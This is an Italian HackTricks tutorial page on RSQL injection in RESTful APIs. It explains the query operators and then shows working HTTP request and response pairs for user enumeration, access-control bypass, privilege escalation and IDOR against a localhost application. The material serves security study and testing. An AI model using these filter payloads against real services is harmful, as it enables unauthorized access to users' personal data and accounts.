RSQL Injection

Reading time: 16 minutes

RSQL Injection

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

RSQL Injection

Cos'è RSQL?

RSQL è un linguaggio di query progettato per il filtraggio parametrizzato degli input nelle API RESTful. Basato su FIQL (Feed Item Query Language), specificato originariamente da Mark Nottingham per interrogare i feed Atom, RSQL si distingue per la sua semplicità e la capacità di esprimere query complesse in modo compatto e conforme agli URI su HTTP. Questo lo rende un'ottima scelta come linguaggio di query generale per la ricerca degli endpoint REST.

Panoramica

L'iniezione RSQL è una vulnerabilità nelle applicazioni web che utilizzano RSQL come linguaggio di query nelle API RESTful. Simile a SQL Injection e LDAP Injection, questa vulnerabilità si verifica quando i filtri RSQL non sono adeguatamente sanitizzati, consentendo a un attaccante di iniettare query dannose per accedere, modificare o eliminare dati senza autorizzazione.

Come funziona?

RSQL consente di costruire query avanzate nelle API RESTful, ad esempio:

bash
/products?filter=price>100;category==electronics

Questo si traduce in una query strutturata che filtra i prodotti con un prezzo superiore a 100 e categoria "elettronica".

Se l'applicazione non convalida correttamente l'input dell'utente, un attaccante potrebbe manipolare il filtro per eseguire query inaspettate, come:

bash
/products?filter=id=in=(1,2,3);delete_all==true

Or anche approfittare per estrarre informazioni sensibili con query booleane o sottoquery annidate.

Rischi

  • Esposizione di dati sensibili: Un attaccante può recuperare informazioni che non dovrebbero essere accessibili.
  • Modifica o cancellazione dei dati: Iniezione di filtri che alterano i record del database.
  • Escalation dei privilegi: Manipolazione di identificatori che concedono ruoli tramite filtri per ingannare l'applicazione accedendo con privilegi di altri utenti.
  • Evasione dei controlli di accesso: Manipolazione di filtri per accedere a dati riservati.
  • Impersonificazione o IDOR: Modifica di identificatori tra utenti tramite filtri che consentono l'accesso a informazioni e risorse di altri utenti senza essere autenticati correttamente come tali.

Operatori RSQL supportati

OperatoreDescrizioneEsempio
; / andOperatore logico AND. Filtra le righe dove entrambe le condizioni sono vere/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orOperatore logico OR. Filtra le righe dove almeno una condizione è vera/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Esegue una query di uguaglianza. Restituisce tutte le righe da myTable dove i valori in columnA sono esattamente uguali a queryValue/api/v2/myTable?q=columnA==queryValue
=q=Esegue una query di ricerca. Restituisce tutte le righe da myTable dove i valori in columnA contengono queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Esegue una query di similitudine. Restituisce tutte le righe da myTable dove i valori in columnA sono simili a queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Esegue una query di inclusione. Restituisce tutte le righe da myTable dove columnA contiene valueA O valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Esegue una query di esclusione. Restituisce tutte le righe di myTable dove i valori in columnA non sono né valueAvalueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Esegue una query di diversità. Restituisce tutte le righe da myTable dove i valori in columnA non sono uguali a queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Esegue una query di non similitudine. Restituisce tutte le righe da myTable dove i valori in columnA non sono simili a queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Esegue una query di minore di. Restituisce tutte le righe da myTable dove i valori in columnA sono minori di queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Esegue una query di minore di o uguale a. Restituisce tutte le righe da myTable dove i valori in columnA sono minori o uguali a queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Esegue una query di maggiore di. Restituisce tutte le righe da myTable dove i valori in columnA sono maggiori di queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Esegue una query di uguale a o maggiore di. Restituisce tutte le righe da myTable dove i valori in columnA sono uguali o maggiori di queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Esegue una query di da a. Restituisce tutte le righe da myTable dove i valori in columnA sono uguali o maggiori di fromValue, e minori o uguali a toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Nota: Tabella basata su informazioni da MOLGENIS e applicazioni rsql-parser.

Esempi

  • name=="Kill Bill";year=gt=2003
  • name=="Kill Bill" and year>2003
  • genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Nota: Tabella basata su informazioni da rsql-parser applicazione.

Filtri comuni

Questi filtri aiutano a perfezionare le query nelle API:

FiltroDescrizioneEsempio
filter[users]Filtra i risultati per utenti specifici/api/v2/myTable?filter[users]=123
filter[status]Filtra per stato (attivo/inattivo, completato, ecc.)/api/v2/orders?filter[status]=active
filter[date]Filtra i risultati all'interno di un intervallo di date/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtra per categoria o tipo di risorsa/api/v2/products?filter[category]=electronics
filter[id]Filtra per un identificatore unico/api/v2/posts?filter[id]=42

Parametri comuni

Questi parametri aiutano a ottimizzare le risposte delle API:

ParametroDescrizioneEsempio
includeInclude risorse correlate nella risposta/api/v2/orders?include=customer,items
sortOrdina i risultati in ordine crescente o decrescente/api/v2/users?sort=-created_at
page[size]Controlla il numero di risultati per pagina/api/v2/products?page[size]=10
page[number]Specifica il numero di pagina/api/v2/products?page[number]=2
fields[resource]Definisce quali campi restituire nella risposta/api/v2/users?fields[users]=id,name,email
searchEsegue una ricerca più flessibile/api/v2/posts?search=technology

Perdita di informazioni e enumerazione degli utenti

La seguente richiesta mostra un endpoint di registrazione che richiede il parametro email per verificare se esiste un utente registrato con quell'email e restituire un vero o falso a seconda che esista o meno nel database:

Richiesta

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Sebbene ci si aspetti un /api/registrations?email=<emailAccount>, è possibile utilizzare filtri RSQL per tentare di enumerare e/o estrarre informazioni sugli utenti attraverso l'uso di operatori speciali:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Nel caso di corrispondenza con un'email valida, l'applicazione restituirebbe le informazioni dell'utente invece di un classico “true”, "1" o qualsiasi altra cosa nella risposta al server:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Evasione dell'autorizzazione

In questo scenario, partiamo da un utente con un ruolo di base e nel quale non abbiamo permessi privilegiati (ad es. amministratore) per accedere all'elenco di tutti gli utenti registrati nel database:

Richiesta

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Ancora una volta utilizziamo i filtri e gli operatori speciali che ci permetteranno un modo alternativo per ottenere le informazioni degli utenti e eludere il controllo degli accessi.
Ad esempio, filtrare per quegli utenti che contengono la lettera “a” nel loro ID utente:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Escalation dei privilegi

È molto probabile trovare determinati endpoint che controllano i privilegi degli utenti attraverso il loro ruolo. Ad esempio, stiamo trattando un utente che non ha privilegi:

Richiesta

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Utilizzando determinati operatori potremmo enumerare gli utenti amministratori:

Richiesta

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Dopo aver conosciuto un identificatore di un utente amministratore, sarebbe possibile sfruttare un'escursione di privilegi sostituendo o aggiungendo il filtro corrispondente con l'identificatore dell'amministratore e ottenendo gli stessi privilegi:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Impersonare o Riferimenti Diretti a Oggetti Insicuri (IDOR)

Oltre all'uso del parametro filter, è possibile utilizzare altri parametri come include che consente di includere nel risultato determinati parametri (ad es. lingua, paese, password...).

Nell'esempio seguente, vengono mostrate le informazioni del nostro profilo utente:

Richiesta

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

La combinazione di filtri può essere utilizzata per eludere il controllo di autorizzazione e ottenere accesso ai profili di altri utenti:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Risposta

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks